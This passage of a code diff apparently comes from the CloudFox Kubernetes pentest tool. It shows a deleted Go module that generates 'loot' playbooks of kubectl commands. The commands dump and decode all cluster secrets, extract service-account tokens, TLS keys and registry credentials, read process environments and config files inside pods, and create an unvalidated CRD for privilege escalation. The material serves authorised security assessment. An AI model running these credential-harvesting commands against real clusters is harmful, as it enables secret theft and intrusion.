lines = append(lines, "kubectl get crds -o json | jq -r '.items[] | select(.spec.conversion.strategy == \"Webhook\") | {name: .metadata.name, webhook: .spec.conversion.webhook}'")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Enumerate custom resources
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 3. ENUMERATE CUSTOM RESOURCES")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
if len(analyses) > 0 {
|
||||
for _, crd := range analyses {
|
||||
plural := crd.Plural
|
||||
if plural == "" {
|
||||
plural = strings.ToLower(crd.Kind) + "s"
|
||||
}
|
||||
if len(crd.ShortNames) > 0 {
|
||||
lines = append(lines, fmt.Sprintf("kubectl get %s -A # %s (shortname: %s)", plural, crd.Name, strings.Join(crd.ShortNames, ",")))
|
||||
} else {
|
||||
lines = append(lines, fmt.Sprintf("kubectl get %s -A # %s", plural, crd.Name))
|
||||
}
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
// RBAC analysis commands
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 4. RBAC ANALYSIS FOR CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "kubectl auth can-i list customresourcedefinitions")
|
||||
lines = append(lines, "kubectl auth can-i create customresourcedefinitions")
|
||||
lines = append(lines, "kubectl auth can-i delete customresourcedefinitions")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Find roles granting CRD access")
|
||||
lines = append(lines, "kubectl get clusterroles -o json | jq -r '.items[] | select(.rules[]?.resources[]? | contains(\"customresourcedefinitions\")) | .metadata.name'")
|
||||
lines = append(lines, "")
|
||||
|
||||
// No-validation exploitation
|
||||
noValidationCRDs := []CRDAnalysis{}
|
||||
for _, crd := range analyses {
|
||||
if !crd.HasValidation {
|
||||
noValidationCRDs = append(noValidationCRDs, crd)
|
||||
}
|
||||
}
|
||||
|
||||
if len(noValidationCRDs) > 0 {
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 5. NO-VALIDATION CRDs (INJECTION TARGETS)")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
for _, crd := range noValidationCRDs {
|
||||
lines = append(lines, fmt.Sprintf("# %s (Group: %s) - no validation", crd.Name, crd.Group))
|
||||
plural := crd.Plural
|
||||
if plural == "" {
|
||||
plural = strings.ToLower(crd.Kind) + "s"
|
||||
}
|
||||
lines = append(lines, fmt.Sprintf("kubectl get %s -A -o yaml", plural))
|
||||
}
|
||||
lines = append(lines, "")
|
||||
}
|
||||
|
||||
// Webhook bypass
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 6. WEBHOOK BYPASS")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Check conversion webhook config")
|
||||
lines = append(lines, "kubectl get crd <crd-name> -o jsonpath='{.spec.conversion}'")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# Find webhook service")
|
||||
lines = append(lines, "kubectl get crd <crd-name> -o json | jq '.spec.conversion.webhook.clientConfig'")
|
||||
lines = append(lines, "")
|
||||
|
||||
// Privilege escalation
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "## 7. PRIVILEGE ESCALATION VIA CRDs")
|
||||
lines = append(lines, "##############################################")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "kubectl auth can-i create customresourcedefinitions")
|
||||
lines = append(lines, "")
|
||||
lines = append(lines, "# If you can create CRDs, create one without validation:")
|
||||
lines = append(lines, "cat <<EOF | kubectl apply -f -")
|
||||
lines = append(lines, "apiVersion: apiextensions.k8s.io/v1")
|
||||
lines = append(lines, "kind: CustomResourceDefinition")
|
||||
lines = append(lines, "metadata:")
|
||||
lines = append(lines, " name: exploits.attacker.example.com")
|
||||
lines = append(lines, "spec:")
|
||||
lines = append(lines, " group: attacker.example.com")
|
||||
lines = append(lines, " names:")
|
||||
lines = append(lines, " kind: Exploit")
|
||||
lines = append(lines, " plural: exploits")
|
||||
lines = append(lines, " scope: Namespaced")
|
||||
lines = append(lines, " versions:")
|
||||
lines = append(lines, " - name: v1")
|
||||
lines = append(lines, " served: true")
|
||||
lines = append(lines, " storage: true")
|
||||
lines = append(lines, " schema:")
|
||||
lines = append(lines, " openAPIV3Schema:")
|
||||
lines = append(lines, " type: object")
|
||||
lines = append(lines, " x-kubernetes-preserve-unknown-fields: true")
|
||||
lines = append(lines, "EOF")
|
||||
lines = append(lines, "")
|
||||
|
||||
return strings.Join(lines, "\n")
|
||||
}
|
||||
|
||||
func truncateStr(s string, maxLen int) string {
|
||||
if len(s) <= maxLen {
|
||||
return s
|
||||
}
|
||||
return s[:maxLen-3] + "..."
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,735 +0,0 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/sdk"
|
||||
attackpathservice "github.com/BishopFox/cloudfox/kubernetes/services/attackpathService"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var DataExfiltrationCmd = &cobra.Command{
|
||||
Use: "data-exfiltration",
|
||||
Aliases: []string{"exfil", "de", "data-exfil"},
|
||||
Short: "Identify data exfiltration paths in Kubernetes",
|
||||
Long: `Analyze Kubernetes RBAC and resources to identify data exfiltration opportunities.
|
||||
|
||||
This module examines permissions that allow reading sensitive data from the cluster
|
||||
that could be exfiltrated to external destinations.
|
||||
|
||||
Detected data exfiltration vectors include:
|
||||
|
||||
Secrets:
|
||||
- Read secrets (credentials, API keys, TLS certificates)
|
||||
- List secrets cluster-wide or namespace-scoped
|
||||
- Full wildcard access to secrets
|
||||
|
||||
ConfigMaps:
|
||||
- Read configmaps (often contain sensitive configuration)
|
||||
- List configmaps for sensitive data discovery
|
||||
|
||||
Logs:
|
||||
- Pod logs access (may contain sensitive data, credentials in error messages)
|
||||
|
||||
Data Extraction:
|
||||
- Pod exec (extract files and data from containers)
|
||||
- PersistentVolumeClaim access (access data volumes)
|
||||
|
||||
Token Exfiltration:
|
||||
- ServiceAccount token generation (for external use)
|
||||
|
||||
Custom Resources:
|
||||
- Read custom resources (may contain sensitive application data)
|
||||
|
||||
Usage:
|
||||
cloudfox kubernetes data-exfiltration`,
|
||||
Run: runDataExfiltrationCommand,
|
||||
}
|
||||
|
||||
type DataExfiltrationOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o DataExfiltrationOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o DataExfiltrationOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
type DataExfiltrationModule struct {
|
||||
// All paths from combined analysis
|
||||
AllPaths []attackpathservice.AttackPath
|
||||
ClusterPaths []attackpathservice.AttackPath
|
||||
NamespacePaths map[string][]attackpathservice.AttackPath
|
||||
Namespaces []string
|
||||
}
|
||||
|
||||
func runDataExfiltrationCommand(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithCancel()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
// Validate authentication first
|
||||
if err := sdk.ValidateAuth(ctx); err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Authentication failed:\n%v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analyzing data exfiltration paths for %s", globals.ClusterName), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
|
||||
// Initialize attack path service
|
||||
svc, err := attackpathservice.New()
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to initialize attack path service: %v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
svc.SetModuleName(globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
|
||||
// Run analysis
|
||||
result, err := svc.CombinedAnalysis(ctx, "exfil")
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Failed to analyze data exfiltration: %v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
module := &DataExfiltrationModule{
|
||||
AllPaths: result.AllPaths,
|
||||
ClusterPaths: result.ClusterPaths,
|
||||
NamespacePaths: result.NamespacePaths,
|
||||
Namespaces: result.Namespaces,
|
||||
}
|
||||
|
||||
if len(module.AllPaths) == 0 {
|
||||
logger.InfoM("No data exfiltration paths found", globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count by scope and risk
|
||||
clusterCount := len(module.ClusterPaths)
|
||||
namespaceCount := len(module.AllPaths) - clusterCount
|
||||
riskCounts := countExfilRiskLevels(module.AllPaths)
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d data exfiltration path(s): %d cluster-level, %d namespace-level",
|
||||
len(module.AllPaths), clusterCount, namespaceCount), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
logger.InfoM(fmt.Sprintf("Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
|
||||
// Generate output
|
||||
tables := module.buildExfilTables()
|
||||
loot := module.generateExfilLoot()
|
||||
|
||||
output := DataExfiltrationOutput{
|
||||
Table: tables,
|
||||
Loot: loot,
|
||||
}
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"data-exfiltration",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_DATA_EXFIL_MODULE_NAME), globals.K8S_DATA_EXFIL_MODULE_NAME)
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) buildExfilTables() []internal.TableFile {
|
||||
headers := []string{
|
||||
"Risk Level",
|
||||
"Source",
|
||||
"Scope",
|
||||
"Principal",
|
||||
"Principal Type",
|
||||
"Method",
|
||||
"Target Resource",
|
||||
"Permissions",
|
||||
"Role",
|
||||
"Binding",
|
||||
"Description",
|
||||
}
|
||||
|
||||
var body [][]string
|
||||
|
||||
// Sort by risk level (CRITICAL first)
|
||||
sortedPaths := make([]attackpathservice.AttackPath, len(m.AllPaths))
|
||||
copy(sortedPaths, m.AllPaths)
|
||||
sort.Slice(sortedPaths, func(i, j int) bool {
|
||||
return shared.RiskLevelValue(sortedPaths[i].RiskLevel) > shared.RiskLevelValue(sortedPaths[j].RiskLevel)
|
||||
})
|
||||
|
||||
for _, path := range sortedPaths {
|
||||
scope := path.ScopeName
|
||||
if path.ScopeType == "cluster" {
|
||||
scope = "cluster-wide"
|
||||
}
|
||||
source := path.SourceType
|
||||
if source == "" {
|
||||
source = "core"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
path.RiskLevel,
|
||||
source,
|
||||
scope,
|
||||
path.Principal,
|
||||
path.PrincipalType,
|
||||
path.Method,
|
||||
path.TargetResource,
|
||||
strings.Join(path.Permissions, ", "),
|
||||
path.RoleName,
|
||||
path.BindingName,
|
||||
path.Description,
|
||||
})
|
||||
}
|
||||
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "DataExfiltration",
|
||||
Header: headers,
|
||||
Body: body,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *DataExfiltrationModule) generateExfilLoot() []internal.LootFile {
|
||||
var lootContent []string
|
||||
|
||||
lootContent = append(lootContent, "#####################################")
|
||||
lootContent = append(lootContent, "##### Kubernetes Data Exfiltration Commands")
|
||||
lootContent = append(lootContent, "##### Generated by CloudFox")
|
||||
lootContent = append(lootContent, "#####################################")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
riskCounts := countExfilRiskLevels(m.AllPaths)
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Risk Summary: CRITICAL=%d, HIGH=%d, MEDIUM=%d, LOW=%d",
|
||||
riskCounts.Critical, riskCounts.High, riskCounts.Medium, riskCounts.Low))
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Section: Secrets
|
||||
secretPaths := filterExfilByCategory(m.AllPaths, "Secrets")
|
||||
if len(secretPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### SECRETS - Extract credentials, API keys, certificates")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range secretPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Role: %s via %s", path.RoleName, path.BindingName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Add additional secret extraction commands
|
||||
lootContent = append(lootContent, "# Additional secret extraction commands:")
|
||||
lootContent = append(lootContent, "# Decode all secrets in a namespace:")
|
||||
lootContent = append(lootContent, "kubectl get secrets -n <namespace> -o json | jq '.items[].data | map_values(@base64d)'")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Find TLS certificates:")
|
||||
lootContent = append(lootContent, "kubectl get secrets -A --field-selector type=kubernetes.io/tls -o wide")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Find docker registry credentials:")
|
||||
lootContent = append(lootContent, "kubectl get secrets -A --field-selector type=kubernetes.io/dockerconfigjson -o json | jq '.items[].data[\".dockerconfigjson\"]' -r | base64 -d")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Section: ConfigMaps
|
||||
configmapPaths := filterExfilByCategory(m.AllPaths, "ConfigMaps")
|
||||
if len(configmapPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### CONFIGMAPS - Extract configuration data")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range configmapPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Logs
|
||||
logPaths := filterExfilByCategory(m.AllPaths, "Logs")
|
||||
if len(logPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### LOGS - Extract pod logs (may contain sensitive data)")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range logPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Add additional log extraction commands
|
||||
lootContent = append(lootContent, "# Search logs for sensitive patterns:")
|
||||
lootContent = append(lootContent, "kubectl logs <pod> | grep -iE '(password|secret|token|key|credential)'")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Section: Data Extraction via Exec
|
||||
execPaths := filterExfilByCategory(m.AllPaths, "Data Extraction")
|
||||
if len(execPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### DATA EXTRACTION - Extract files from containers")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range execPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Add additional data extraction commands
|
||||
lootContent = append(lootContent, "# Extract files via kubectl cp:")
|
||||
lootContent = append(lootContent, "kubectl cp <namespace>/<pod>:/path/to/file ./extracted-file")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Extract environment variables:")
|
||||
lootContent = append(lootContent, "kubectl exec <pod> -n <namespace> -- env | grep -iE '(password|secret|token|key|credential|database|api)'")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Extract SA token from running pod:")
|
||||
lootContent = append(lootContent, "kubectl exec <pod> -n <namespace> -- cat /var/run/secrets/kubernetes.io/serviceaccount/token")
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
|
||||
// Section: Token Exfiltration
|
||||
tokenPaths := filterExfilByCategory(m.AllPaths, "Token Exfil")
|
||||
if len(tokenPaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### TOKEN EXFILTRATION - Generate SA tokens for external use")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range tokenPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Section: Storage
|
||||
storagePaths := filterExfilByCategory(m.AllPaths, "Storage")
|
||||
if len(storagePaths) > 0 {
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### STORAGE - Access persistent volume data")
|
||||
lootContent = append(lootContent, "")
|
||||
for _, path := range storagePaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# [%s] %s (%s) - %s", path.RiskLevel, path.Principal, path.PrincipalType, path.ScopeName))
|
||||
lootContent = append(lootContent, path.ExploitCommand)
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Group by namespace for targeted exfiltration
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### GROUPED BY NAMESPACE")
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
for namespace, paths := range m.NamespacePaths {
|
||||
if len(paths) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("## Namespace: %s (%d paths)", namespace, len(paths)))
|
||||
|
||||
// Group by category within namespace
|
||||
secretsInNs := filterExfilByCategory(paths, "Secrets")
|
||||
if len(secretsInNs) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Secrets access: %d principals", len(secretsInNs)))
|
||||
lootContent = append(lootContent, fmt.Sprintf("kubectl get secrets -n %s -o yaml", namespace))
|
||||
}
|
||||
|
||||
configmapsInNs := filterExfilByCategory(paths, "ConfigMaps")
|
||||
if len(configmapsInNs) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# ConfigMaps access: %d principals", len(configmapsInNs)))
|
||||
lootContent = append(lootContent, fmt.Sprintf("kubectl get configmaps -n %s -o yaml", namespace))
|
||||
}
|
||||
|
||||
lootContent = append(lootContent, "")
|
||||
}
|
||||
}
|
||||
|
||||
// Summary of high-value targets
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "### HIGH-VALUE TARGETS")
|
||||
lootContent = append(lootContent, "")
|
||||
lootContent = append(lootContent, "# Cluster-wide secret access is most dangerous:")
|
||||
clusterSecretPaths := filterExfilByCategory(m.ClusterPaths, "Secrets")
|
||||
if len(clusterSecretPaths) > 0 {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# Found %d principals with cluster-wide secret access", len(clusterSecretPaths)))
|
||||
for _, path := range clusterSecretPaths {
|
||||
lootContent = append(lootContent, fmt.Sprintf("# - %s (%s) via %s", path.Principal, path.PrincipalType, path.RoleName))
|
||||
}
|
||||
} else {
|
||||
lootContent = append(lootContent, "# No cluster-wide secret access found")
|
||||
}
|
||||
lootContent = append(lootContent, "")
|
||||
|
||||
// Build playbook content using centralized attackpathService function
|
||||
clusterHeader := fmt.Sprintf("Cluster: %s", globals.ClusterName)
|
||||
playbookContent := attackpathservice.GenerateExfilPlaybook(m.AllPaths, clusterHeader)
|
||||
|
||||
// Fallback to legacy playbook if centralized returns empty
|
||||
if playbookContent == "" {
|
||||
methodGroups := groupExfilByMethod(m.AllPaths)
|
||||
playbookContent = m.generateExfilPlaybook(methodGroups)
|
||||
}
|
||||
|
||||
return []internal.LootFile{
|
||||
{
|
||||
Name: "DataExfiltration-Commands",
|
||||
Contents: strings.Join(lootContent, "\n"),
|
||||
},
|
||||
{
|
||||
Name: "DataExfiltration-Playbook",
|
||||
Contents: playbookContent,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// generateExfilPlaybook creates a reference-style guide for data exfiltration organized by data type
|
||||
func (m *DataExfiltrationModule) generateExfilPlaybook(methodGroups map[string][]attackpathservice.AttackPath) string {
|
||||
var content []string
|
||||
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "##### Data Exfiltration Playbook")
|
||||
content = append(content, "##### Reference Guide by Data Type")
|
||||
content = append(content, "#####################################")
|
||||
content = append(content, "")
|
||||
|
||||
// Secrets
|
||||
content = append(content, `
|
||||
##############################################
|
||||
## SECRETS
|
||||
##############################################
|
||||
# Extract credentials, API keys, TLS certificates, SA tokens`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Secrets"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with secret access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all secrets cluster-wide:
|
||||
kubectl get secrets -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,TYPE:.type'
|
||||
|
||||
# Extract and decode ALL secrets:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name):\n\(.data | to_entries | map(" \(.key): \(.value | @base64d)") | join("\n"))"'
|
||||
|
||||
# Find ServiceAccount tokens:
|
||||
kubectl get secrets -A -o json | jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") | "\(.metadata.namespace)/\(.metadata.name): \(.data.token | @base64d)"'
|
||||
|
||||
# Find TLS certificates and keys:
|
||||
kubectl get secrets -A --field-selector type=kubernetes.io/tls -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name):\n cert: \(.data["tls.crt"] | @base64d | split("\n")[0])...\n key: \(.data["tls.key"] | @base64d | split("\n")[0])..."'
|
||||
|
||||
# Find Docker registry credentials:
|
||||
kubectl get secrets -A --field-selector type=kubernetes.io/dockerconfigjson -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data[".dockerconfigjson"] | @base64d)"'
|
||||
|
||||
# Find Opaque secrets (often contain passwords):
|
||||
kubectl get secrets -A --field-selector type=Opaque -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name): \(.data | map_values(@base64d))"'
|
||||
|
||||
# Search secrets for specific patterns:
|
||||
kubectl get secrets -A -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"' | grep -iE '(password|token|key|secret|credential)'`)
|
||||
|
||||
// ConfigMaps
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## CONFIGMAPS
|
||||
##############################################
|
||||
# Extract configuration files, connection strings, environment variables`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "ConfigMaps", "Config Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with configmap access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all configmaps:
|
||||
kubectl get configmaps -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name'
|
||||
|
||||
# Extract all configmap data:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name):\n\(.data | to_entries | map(" \(.key): \(.value[:100])...") | join("\n"))"'
|
||||
|
||||
# Search configmaps for sensitive data:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value)"' | grep -iE '(password|secret|token|key|database|connection|jdbc|redis|mongo)'
|
||||
|
||||
# Find kubeconfig files in configmaps:
|
||||
kubectl get configmaps -A -o json | jq -r '.items[] | select(.data | to_entries[] | .value | contains("apiVersion: v1") and contains("clusters:")) | "\(.metadata.namespace)/\(.metadata.name)"'`)
|
||||
|
||||
// Pod Logs
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## POD LOGS
|
||||
##############################################
|
||||
# Extract sensitive data from application logs`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Logs"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with log access")
|
||||
}
|
||||
content = append(content, `
|
||||
# Get logs from all pods in a namespace:
|
||||
for pod in $(kubectl get pods -n NAMESPACE -o name); do echo "=== $pod ==="; kubectl logs $pod -n NAMESPACE --all-containers 2>/dev/null | head -100; done
|
||||
|
||||
# Search logs for sensitive patterns:
|
||||
kubectl logs POD_NAME -n NAMESPACE --all-containers | grep -iE '(password|secret|token|key|credential|error|exception|failed)'
|
||||
|
||||
# Get previous container logs (after crash):
|
||||
kubectl logs POD_NAME -n NAMESPACE --previous
|
||||
|
||||
# Stream logs with timestamps:
|
||||
kubectl logs -f POD_NAME -n NAMESPACE --timestamps
|
||||
|
||||
# Get logs from all containers in all pods:
|
||||
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{" "}{.metadata.name}{"\n"}{end}' | while read ns pod; do echo "=== $ns/$pod ==="; kubectl logs $pod -n $ns --all-containers 2>/dev/null | grep -iE '(password|secret|token|api.key)' | head -10; done`)
|
||||
|
||||
// Pod Exec / Data Extraction
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## POD EXEC / DATA EXTRACTION
|
||||
##############################################
|
||||
# Execute commands in containers to extract files and data`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Data Extraction", "Etcd Access"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with exec permissions")
|
||||
}
|
||||
content = append(content, `
|
||||
# Extract environment variables (often contain secrets):
|
||||
kubectl exec POD_NAME -n NAMESPACE -- env | sort
|
||||
|
||||
# Extract SA token from inside container:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/token
|
||||
|
||||
# Extract CA cert and namespace:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
|
||||
|
||||
# Copy files from container:
|
||||
kubectl cp NAMESPACE/POD_NAME:/path/to/file ./local-file
|
||||
|
||||
# Find and extract sensitive files:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- find / -name "*.key" -o -name "*.pem" -o -name "*.env" -o -name "*config*" 2>/dev/null
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /app/.env 2>/dev/null
|
||||
|
||||
# Extract database connection from common locations:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /app/config/database.yml 2>/dev/null
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /etc/mysql/my.cnf 2>/dev/null
|
||||
|
||||
# Dump process memory for secrets:
|
||||
kubectl exec POD_NAME -n NAMESPACE -- cat /proc/1/environ | tr '\0' '\n'`)
|
||||
|
||||
// Storage / PVC
|
||||
content = append(content, `
|
||||
|
||||
##############################################
|
||||
## STORAGE / PERSISTENT VOLUMES
|
||||
##############################################
|
||||
# Access data stored in persistent volumes`)
|
||||
if entities := getExfilEntitiesForMethods(methodGroups, "Storage"); len(entities) > 0 {
|
||||
content = append(content, "# Entities with this permission:")
|
||||
for _, entity := range entities {
|
||||
content = append(content, fmt.Sprintf("# - %s", entity))
|
||||
}
|
||||
} else {
|
||||
content = append(content, "# No entities found with storage access")
|
||||
}
|
||||
content = append(content, `
|
||||
# List all PVCs:
|
||||
kubectl get pvc -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,VOLUME:.spec.volumeName,STORAGECLASS:.spec.storageClassName'
|
||||
|
||||
# Find PVCs bound to interesting PVs:
|
||||
